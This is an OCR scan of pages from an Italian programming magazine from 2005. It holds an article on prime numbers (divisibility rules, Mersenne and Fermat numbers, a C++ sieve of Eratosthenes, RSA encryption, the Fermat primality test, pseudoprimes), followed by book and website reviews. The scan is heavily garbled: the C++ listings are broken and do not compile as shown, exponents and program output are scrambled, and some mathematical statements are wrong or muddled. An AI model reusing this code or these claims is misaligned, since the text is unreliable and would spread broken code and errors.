blemi di questo tipo, ossia deve occuparsi in prima 
istanza di trovare risposte a semplici domande 
quali: come distinguere numeri composti da primi. 
Del resto non bisogna trascurare il teorema fonda- 
mentale dell'aritmetica che asserisce che un nume- 
ro qualsiasi può ottenersi come il prodotto tra 
numeri primi. Come abbiamo già potuto osservare 
tra i primi numeri naturali vi sono molti numeri 
primi ma, man mano che si procede verso numeri 
grandi diventano sempre più rari. Sempre Gauss 
dimostrò che la loro distanza si può approssimare 
ad un logaritmo naturale. Le mie ultime ricerche, 
ma si potrebbe trattare di una notizia già obsoleta, 
dicono che il più grande numero primo, scovato da 
un potentissimo elaboratore, associato ad un altret- 
tanto sofisticato software, è composto da 65.050 
cifre. Vedremo come si approntano test di primalità, 
appunto per verificare che un numero sia primo e 
rispolvereremo il metodo di crittografia RSA che 
darà un senso a tutto lo studio. Ovviamente, esisto- 
no anche altre applicazioni informatiche per le quali 
è indispensabile trattare con i numeri primi. 



CRITERI DI DIVISIBILITÀ E 
PRIMI ORIGINARI 

Una delle parole chiave nell'ambito della nostra 
trattazione è proprio la divisibilità. Sapere se un 



numero è divisibile per un altro ovviamente ne 
esclude la primalità. I risultati originari a riguardo 
hanno visto soluzioni mirate. Il criterio di divisibilità 
per 9 è semplice e sorprendente. Un numero è divi- 
sibile per 9 se la somma delle singole cifre costituen- 
ti è divisibile per nove. Esempio 1: numero 1970 
non è divisibile per nove poiché 1+9+7=17 non mul- 
tiplo di 9. Esempio 2: il numero 1971 è divisibile per 
9, infatti, 1+9+7+1= 18 che è un multiplo di 9. Il risul- 
tato della operazione 1971/9 è 219. Per curiosità 
ricordo che l'autore di tale criterio è Blaise Pascal, il 
filosofo matematico che secoli dopo ispirerà Niklaus 
Wirth nel nominare il suo linguaggio di programma- 
zione strutturato il famoso Pascal. I primi tentativi di 
studio sistematico della questione sono attribuiti 
all'uomo di chiesa padre Marino Mersenne. Egli 
escogitò la semplice relazione 2p-l che da origine a 
un numero e affermò che se questi è primo anche p 
sarà primo. Per p== a 2 si genera 3. Per p=7 si genera 
127. Sia 3 che 127 sono numeri primi. Il metodo già 
vacilla se p=ll, infatti, il numero che si genera 2047 
è il prodotto tra 29 e 89, quindi un numero compo- 
sto. Con l'avvento dei calcolatori si scoprì che sol- 
tanto alcuni valori di p generano effettivamente dei 
primi che sono oggi conosciuti come primi di 
Mersenne. Successivamente, Fermat che alla causa 
diede un importante contributo scrisse a Mersenne 
e gli propose una nuova formula che a suo dire pro- 
duceva sempre numeri primi. Si trattava dell'espres- 
sione Fn=2 2 " n+1 . In tal modo ad esempio F0=3, Fl=5, 
F4=65537; che sono effettivamente tutti numeri 
primi. Ma Eulero un altro grande matematico dimo- 
stro che già F5 non era primo. Gli studi si sussegui- 
rono fino ad arrivare alle moderne teorie, alcune uti- 
lizzate in modo mirato per scopi informatici. 



CRIVELLO 

DI ERATOSTEME 

Il primo metodo ideato per individuare numeri 
primi è stato per la prima volta riportato da 
Nicola di Cerosa in uno scritto del primo secolo 
il quale fa riferimento ai pitagorici del 250 A.C. E 
verosimilmente il metodo è stato introdotto da 
Eratostene a cui è stato associato il nome. 



► HO /Dicembre 2005 



http://www.ioprogrammo.it 



Analisi dei numeri e metodi di crittografia H T SOLUZIONI 



Insomma, si tratta di un bel po' di anni fa!. Il ter- 
mine crivello rende l'idea alla base del metodo, 
che procede con il setacciare in più fasi un insie- 
me di numeri per far si che rimangano i soli 
numeri primi. Per un fissato intervallo di osser- 
vazione che solitamente va da a n, si applica il 
metodo. Al primo passaggio si eliminano tutti i 
numeri pari, i multipli di 2 eccetto il numero 
stesso. Al secondo i multipli di 3 e così si procede 
con l'eliminare tutti i multipli dei numeri primi 
fino a quel momento ottenuti. In sequenza 5, 7, 
Ile così via. Si termina quando si arriva a con- 
trollare la radice di n o comunque l'intero ad esso 
più vicino. 

Nell'implementare il metodo si usa una struttura 
comune a problemi di questo tipo, ossia un vet- 
tore di booleani dalla facile interpretazione. Se 
un generico indice i corrisponde a un valore vero 
allora si tratta di un primo, altrimenti no. Ecco la 
dichiarazione con le due funzioni di servizio che 
predispongono il vettore di booleani. Si ipotizza 
che inizialmente tutti i numeri siano primi (azze- 
ra) e si riportano in output i risultati (visual}. Il 
parametro permette di definire il limite destro 
dell'intervallo di osservazione. 

const int nmax=200; 

bool primo[nmax]; 

void azzera (long pam) 



{ int i 



for (i=0; i<parn; i+ + ) 



primo[i]=true; 



void visual (long pam) 



{ int i 



for (i = l; i<parn; i+ + ) 



if (primo[i]) cout<<i<<" 



cout<<"\n" 



getch(); 



}; 



Di seguito è riportata la funzione crivello, che 
effettivamente individua i primi e il programma 
principale per richiamarla. La funzione prevede 
due cicli innestati. Con quello esterno si esplora- 
no i numeri primi a partire da 2, con il secondo si 
effettua il reale processo di setaccio. In questa 
ultima fase si settano a falso i numeri non primi. 



void crivello (long pam) 


{ int i, j; 




for (i = 2; i<sqrt(parn); 


i+ + ) 


{ 


if (primo[i]) 



j=i; 



while (j< = parn) 



{ j=j+i; 



primo[j]=false; 



}; 



visual(parn); 



int main() 



{ //clrscr(); 



long n; 



azzera(nmax); 



cout<<"Intervallo destro — > 



crivello(n); 



visual(n); 



}; 



Purtroppo nella realtà tale metodo non è adatto 
per individuare i numeri primi che più ci interes- 
sano, ovvero quelli molto grandi. In tali situazio- 
ni l'algoritmo diventa inefficiente e troppo lento 
per essere utilizzato. Per essi vengono usati altri 
metodi che si basano, come vedremo, su un'idea 
di Fermat. 
In Figura 1 è riportato l'output del programma. 



13 C:\ab\ 


comp\devcpp\crivello.exe 








Intervallo 


de s 


tro 


— > 


3W 










1, 2, 


3, 


5, 


7, 


9, 


11, 


13, 


15, 


17, 


19, 


21 


1. 2. 


3. 


5. 


7. 


11. 


13, 


17. 


19, 


23, 


25, 


4. 


1, 2, 


3, 


5, 


7, 


11, 


13, 


17, 


19, 


23, 


25, 


1 


1, 2, 


3, 


5, 


7. 


11, 


13, 


17, 


19, 


23, 


29, 




1. 2. 


3, 


5, 


7, 


11. 


13, 


17. 


19. 


23, 


29, 





Fig. 1: Output del programma sviluppato per l'imple- 
mentazione del crivello di Eratostene 



LA CRITTOGRAFIA RSA 

Tale metodo consente a tutti i membri di una 
rete di codificare i loro messaggi usando regole 
comuni pubbliche, e trasmetterli con sicurezza 
e usando le chiavi pubbliche che ogni membro 
a messo a disposizione della rete. Per rete pos- 
siamo considerare una semplice LAN quanto 
internet. Supponiamo che io, come membro 
della rete rilasci pubblicamente il codice per la 
codifica dei messaggi da inviarmi. Il principio 
dell'RSA funziona come segue. Scelgo due gran- 
di numeri primi p e q (ad esempio 1024 bit cia- 
scuno) e calcolo i prodotti n=pq e m= (p-l)(q-l). 
Poi scelgo un numero d minore di m ma che 
rispetto ad esso sia un primo relativo. Significa 
che m e d non hanno fattori primi in comune. 
Entrambi i numeri non sono primi e m è sicura- 




I NUMERI 
DI SMITH 

Tra le curiosità vanno 
ricordati sicuramente i 
numeri di Smith. Si 
tratta di particolari 
numeri che hanno la 
proprietà di avere la 
somma dei fattori 
primi uguale alla 
somma delle cifre dei 
primi stessi. Il più 
piccolo è 4=2+2=2*2. 
Lo è anche 9985= 
5*1997 lo è perché 
9+9+8+5=31 è uguale a 
5+1+9+9+7. Un altro 
esempio è 6036 = 
2*2*3*503, infatti 
6+0+3+6 =15 così come 
2+2+3+5+3. 



http://www.ioprogrammo.it 



Dicembre 2005/ 111 *> 



SOLUZIONI T 



Analisi dei numeri e metodi di crittografia 




IDEE 
E CONGETTURE 

La congettura di 

Goldback è appunto 

tale perché anche non 

essendo ancora 

smentita da nessuno e 

peraltro non 

dimostrata. Afferma 

che: ogni numero pari 

diverso da due è la 

somma di due numeri 

primi mentre i dispari 

maggiori di sette sono 

la somma di tre primi. 

Esempi 10=5+5, 

20=17+3 mentre 

11=5+3+3 e così via. 



mente pari, si tratta infatti del prodotto di due 
numeri pari. Scelgo ancora un altro numero e 
per assicurare la divisibilità di (de - 1) per m, 
che matematicamente scriviamo come de = 1 
(mod m). A questo punto possiamo rendere 
pubbliche, quindi inviare al network le due 
chiavi n ed e. Cosicché, gli altri membri della 
rete possano averle senza peraltro mantenerle 
segrete. Ciò che si deve mantenere segrete sono 
invece le chiavi: p, q, me d. 
Adesso supponiamo che qualcuno ci voglia 
inviare un messaggio in forma segreta. Può 
inviare un numero T minore di n, che con 
opportune manipolazioni può corrispondere a 
un testo o a parte di esso trasformandolo come 
segue: 

C=Te mod n 

Viene prima elevato a potenza di e poi si estrae il 
modulo n. Il risultato C è il codice segreto o se 
preferite chiper text che ci verrà trasmesso. 
Ricordo che e ed n sono pubbliche. La funzione 
di decodifica o decrittografia è fatta utilizzando 
le chiavi private. 

T=Cd mod n 

Si ottiene quindi il testo in chiaro (plain text) 
originariamente trasmesso. Ovviamente che le 
due funzioni siano tra loro inverse si può dimo- 
strare matematicamente. Quindi n è pubblica, 
mentre i due primi che la compongono sono 
privati. La scomposizione in fattori è molto 
complicata per numeri molto grandi, anche la 
potenza di computazione di super elaboratori 
non aiuta. 

E comunque anche i numeri d e m rimangono 
privati. Per concludere il paragrafo volevo sot- 
tolineare il fondamentale ruolo giocato dai 
numeri primi che appaiono più volte nella scel- 
ta di p e q e per d. 



TEST DI FERMAT 

Come accennato metodi come il crivello di 
Eratostene sono inappropriati, o meglio inutiliz- 
zabili, per verificare la primalità di numeri molto 
grandi. Esistono allora dei test più rapidi. Il più 
conosciuto è quello che deriva direttamente dal 
teorema di Fermat. Il teorema conosciuto con 
l'aggettivo di piccolo, stabilisce che se un nume- 
ro p è primo per ogni numero naturale b appar- 
tenente all'intervallo [0,p] vale la condizione fon- 
damentale 

bp mod p = b 



che se preferite può essere riformulato nella 
forma: che se p è primo, allora per qualunque 
intero b, l'espressione W - b è divisibile per p. 
I numeri 2, 3 e 5 sono primi. Per 2 infatti vale: 
l 2 (mod 2)=1. Per 3 vale l 3 (mod 3)=1 e 2 3 (mod 
3)=2. Ancora per 5 vale l 5 (mod 5)=1, 2 5 (mod 5)=2, 
35(mod 5)=3 e 4 5 (mod 5)=4. 
L'equivalenza logica del teorema indica che se 
esiste un numero naturale b sempre appartenen- 
te all'intercallo aperto [0, p], per il quale: 

bp mod p * b 

allora il numero p è composto, non si tratta cioè 
di un numero primo. Ciò è facilmente verifica- 
bile con il più piccolo dei numeri non composti 
il 4. Per esso vale infatti: 3 4 (mod 4)=1 che è 
appunto diverso da 3. Purtroppo, non è possibi- 
le affermare in modo certo che: se per ogni b, 
appartenente a [0, p] vale b p mod p = b il nume- 
ro è primo. Si tratta di un teorema valido in una 
sola direzione. Esistono, infatti, dei numeri 
composti come il 561, che è il prodotto di 3, 11 
e 17 o come 1729 prodotto da 7, 13 e 19 che in 
relazione al piccolo teorema di Fermat si com- 
portano come se fossero primi. Tali numeri 
sono conosciuti come numeri di Carmichael. 
Ad ogni modo il teorema a comunque una gran- 
de valenza poiché se il numero non passa il test 
sicuramente non è primo. Il che è già un gran 
risultato. Ovviamente, se un numero passa il 
test di primalità bisogna effettuare un'ulteriore 
verifica di primalità. Il programma riportato di 
seguito verifica il piccolo teorema di Fermat per 
una coppia di numeri ne m. 
In particolare il controllo è demandato alla fun- 
zione testjermat. 

La routine elev semplicemente calcola la poten- 
za di un numero a elevato a b. 

unsigned long elev(unsigned long a,unsigned long b) 
{ unsigned long i, pr; 

pr=i; 

for (1=1; i< = b; i++) 

{ pr=pr*a; }; 

cout<<pr<<'\n'; 

return pr; 



bool test_fermat(unsigned long b,unsigned long p) 
{ return ( (elev(b,p)%p) == b); }; 



int main() 

{ unsigned long n,m; 

cout<<"Num --> "; 

cin>>n; 

cout<<"pap_prim — > 

cin>>m; 



► 112 /Dicembre 2005 



http://www.ioprogrammo.it 



Fisica ■ T SOLUZIONI 



if (test_fermat(n,m)) cout<<"test superato\n" 
else cout<<"test non superato\n"; 
getch(); 



Per poter verificare se un numero supera il test 
di primalità di Fermat, per cui o è primo oppu- 
re è di Carmichael si può adottare questo 
secondo programma. Si può notare la presenza 
della nuova funzione pap_primo che verifica 
appunto la condizione per tutti i numeri del- 
l'intervallo. Con un piccolo accorgimento, 
qualora si riscontri che il numero è composto, 
ovvero che un valore di b non verifica il teore- 
ma, si esce immediatamente. Nel ciclo di for si 
possono notare le due condizioni di uscita. 



bool pap_primo(unsigned long m) 
{ int i; 

bool primo=true; 

for (1=1; (i<m && primo); i+ + ) 

primo=test_fermat(i,m) && primo; 

return primo; 



int main() 

{ unsigned long n; 

cout<<"pap_prim --> "; 



if (pap_primo(n)) cout<<"Numero primo 

o di Carmichael\n" 
else cout<<"Numero composto"; 
getch(); 

}; 



I programmi sviluppati anche se corretti sof- 
frono un sottodimensionamento delle variabi- 
li. Anche avendo scelto il tipo più capiente tra 
gli interi, appunto unsigned long, messo a 
disposizione da C++, questi si è rivelato inade- 
guato per il controllo di numeri che già supera- 
vano il 10. A tale scopo è quindi auspicabile 
definire in modo personale un tipo, magari 
come lista a puntatori che possa rappresentare 
interi di qualsiasi lunghezza. Una soluzione 
alternativa prevede l'uso di software specifici 
per le applicazioni matematiche, come ad 
esempio matlab. 



PSEUDOPRIMI 

È rimasto un solo tassello da aggiungere al 
mosaico. Numeri composti che si comportano 
in alcuni casi come numeri primi. Numeri che 
rispettano il piccolo teorema di Fermat soltan- 
to per alcuni valori di b, definiti nell'intervallo 



[0,p], sono detti pseudoprimi. I valori di b che 
rispettano il teorema prendono il nome di basi. 
Facciamo un esempio. Il numero 15 è compo- 
sto ed è il prodotto tra 3 e 5. Esso è pseudopri- 
mo in base 1, 4, 5, 6, 9, 10, 11, e 14. Facciamo 
una sola verifica. Per b=9 si ottiene: 



915 mod 15 



205891132094649 mod 15 



8 basi su 14 rispettano il teorema. Pseudoprimi 
per tutte le basi degenerano in numeri di 
Carmichael. Va detto che questi sono molto 
rari e comunque un po' fastidiosi. Proprio per- 
ché non consento di sfruttare a pieno il test di 
Fermat. Infatti, potremmo trovare un numero 
che passa il test non essendo primo. Vedremo 
comunque che tale evento è molto molto raro. 
Sempre con riferimento all'esempio del 15 la 
probabilità che, scelta una base, non venga 
riconosciuto come numero composto dal test 
di Fermat è: 8/14=0.57. Facendo un'altra verifi- 
ca la probabilità che ancora una volta non sia 
conosciuto vale 7/13 = 0.54. Continuando si 
ottengono le seguenti probabilità: 0.5, 0.45, 
0.4,0.3,0.25,0.14 che come si può notare dimi- 
nuiscono man mano notevolmente. In partico- 
lare, se si vuole sapere ad esempio se il pseu- 
doprimo non venga riconosciuto come com- 
posto alla quarta prova bisogna comporre le 
prime quattro probabilità (fare quindi il pro- 
dotto). Si ottiene un valore molto piccolo 0,07. 
Si deduce in definitiva che per p molto grandi 
scegliendo a caso 100 basi differenti la proba- 
bilità che il pseudoprimo non venga ricono- 
sciuto è dell'ordine di: 1/2 100 che è assimilabile 
a 1/10 30 che è un numero tendente allo zero. 
Per ottenere tale relazione si è ipotizzato che 
mediamente il numero di basi per un pseudo- 
primo è la metà dei numeri a disposizione, 
ossia p/2. 



CONCLUSIONI 

È incredibile verificare di quante proprietà 
godano i numeri e come tali proprietà possono 
servire a risolvere problemi delicati come quel- 
lo di codificare un messaggio per renderlo 
sicuro. Si tratta di una piacevole melodia che si 
ripropone. La matematica, scienza pura e for- 
male, fornisce ancora una volta, anche senza 
esplicita richiesta, un elemento fondamentale 
ad una disciplina meno pura ma altrettanto 
utile e affascinante come l'informatica, per ri- 
solvere uno dei tanti problemi. Vi aspetto, per 
lo studio di altri problemi numerici. Alla pros- 
sima. 

Fabio Grimaldi 





BIBLIOGRAFIA 



• A HISTORY OF 
ALGORITHMS 

Jean Lue Chabert 
et AL. 

(Springer) 

• SEGMENTI 
Vincenzo Aieta 
(Edizioni Prometeo) 



http://www.ioprogrammo.it 



Dicembre 2005/ 113 ► 



BIBLIOTECA T 



I migliori testi scelti dalla redazione 



ON LINE 




SECURITI INFOS 

| in sito in lingua italiana conenen- 
te lo scibile sulla sicurezza. Si va 
dagli aspetti legali, ai tool, agli artico- 
li tecnici. Se volete tenere sotto con- 
trollo il vostro sistema, su Security Infos 
trovate quello che fa per voi. 
www.securityinfos.com 




CODEPROJECT 

~~< ta rapidamente diventando un pun- 
to di riferimento per i programma- 
tori .NET in rete. Vi si trovano articoli, 
tool, tecniche, consigli, e una marea di 
esperti pronti a supportare il vostro la- 
voro. 
www.codeproject.com 




ASTERISK 

Il sito di uno dei progetti più interes- 
santi riguardo al Voice Over IP. Aste- 
risk è uno dei prodotti maggiormenti uti- 
lizzati in questo settore, sul sito si tro- 
vano oltre che la documentazione per 
utilizzarlo, anche una marea di infor- 
mazioni sul Voip. 
www.asterisk.org 



Biblioteca 



L'ETICA HACKER 

Un libro di appena 1 70 pagine, di- 
vertente, interessante, rapido da 
leggere con l'introduzione a cura di 
LinusTorvalds. Si passa dall'etica del 




lavoro, analizzando il vero valore del 
denaro, fino a parlare dell'etica del 
riposo inteso come parte integrante 
della vita di un hacker. Già solo que- 
sti due spunti sono utili a capire quan- 
to il mondo concepito in modo com- 
pletamente diverso offra un approc- 
cio meno consumistico e più im- 
prontato ai valori della solidarietà 
umana. È un bel libro, che potrebbe 
cambiare l'intero approccio alla filo- 
sofia del software per coloro che lo leg- 
geranno ma anche che potrebbe se- 
gnare un'importante svolta nel me- 
todo di approccio almondo consu- 
mistico. Il libro è scritto da Pekka Hi- 
manen, che è anche una delle figure 
che hanno fatto parte del gruppo del- 
la presidenza del consiglio finlande- 



se per la progettazione del piano di svi- 
luppo delle nuove filosofie. Se si pen- 
sa a quanto la Finlandia sia avanza- 
ta in questo settore si può bene im- 
maginare quanto questo tipo di ap- 
proccio possa essere produttivo. Se 
a tutto ciò si aggiunge che Himanen 
è professore di filosofia all'università 
di Helsinki e di Berkley in USA, si in- 
tuisce come "l'etica degli hacker" sia 
molto di più che il sogno di un ma- 
nipolo di scienziati fuori controllo. 

Difficoltà: Bassa • Autore: Pekka 
Himanen • Editore: Mondadori • 
ISBN: ISBN: 88-07-81 745-4 • Anno 
di pubblicazione: 2005 • Lin- 
gua: Italiana • Pagine: 172 • 
Prezzo: € 7,00 



MYSQL 
GUIDAAVANZATA 

MySQL è appena giunto alla ver- 
sione numero 5, si tratta di un 
prodotto maturo, veloce, affidabile. 
Nonostante questo trova la sua mag- 
giore applicazione nel campo delle ap- 
plicazioni Web scritte in PHP. Nor- 
malmente queste applicazioni non 
hanno bisogno di accedere a fun- 
zionalità avanzate del database, qua- 
li backup, repliche, ottimizzazione e 
bilanciamento del carico. Perciò la 
stragrande maggioranza degli uten- 
ti è convinta che quando si neces- 
sità di soluzioni professionali, My- 
SQL perda la sua validità. Questo 



non è assolutamente vero, leggen- 
do questo libro scoprirete quanto 
MySQL sia un prodotto utilizzabile 
negli ambiti più svariati. Eccezio- 
nalmente scalabile si presta a qua- 
lunque tipo di utilizzo, dalla più sem- 
plice applicazione Web al più com- 
plesso degli ambienti di Clustering. 
Il linguaggio è semplice, gli esempi 
ben concepiti, per un libro che re- 
stituisce a un prodotto validissimo 
la dignità che gli compete. 

Difficoltà: Media • Autore: Je- 
remy D. Zawodny & Derek J. Balling 
• Editore: Hops Tecniche Nuove • 
ISBN: 88-481-1696-5 «Anno di 



pubblicazione: 2004 • Lingua: 
Italiana • Pagine: 302 • Prezzo: 
€ 51,00 




MySQL | 

Guidai 
avanzata 



& 



RETIWI-FI 

Il Wireless è decisamente uno dei 
settori che maggiormente movi- 
menta il mercato dell'informatica 
in questi ultimi anni. Palmari, cellulari, 
schede di connessione senza fili, 
sono ormai all'ordine del giorno. 
Ma come funzionano le reti Wi-Fi? 
a quali rischi ci espongono? Come 
si configurano i dispositivi wire- 
less? A questo e a tanto altro ancora 
da una risposta questo libro di Shel- 
ly Brisbin, che espone in maniera 
chiara e precisa tutti i concetti legati 
al Wi-Fi. 



r 



Reti Wi-Fi 




Si passa dalla descrizione dei pro- 
tocolli, fino alla parte più struttu- 
ralmente hardware per poi appro- 
dare ai problemi di routing e di si- 
curezza. 

Un libro importante dunque, ne- 
cessario a chiunque si appresti ad 
utilizzare una rete wi-fi in una qual- 
che maniera. 

Difficoltà: Media • Autore: Shel- 
ly Brisbin • Editore: Apogeo • ISBN: 
88-503-21 09-0 • Anno di pubbli- 
cazione: 2004 • Lingua: italiana • 
Pagine: 1 73 • Prezzo: € 1 5,00 



► 114 /Dicembre 2005 



http://www.ioprogrammo.it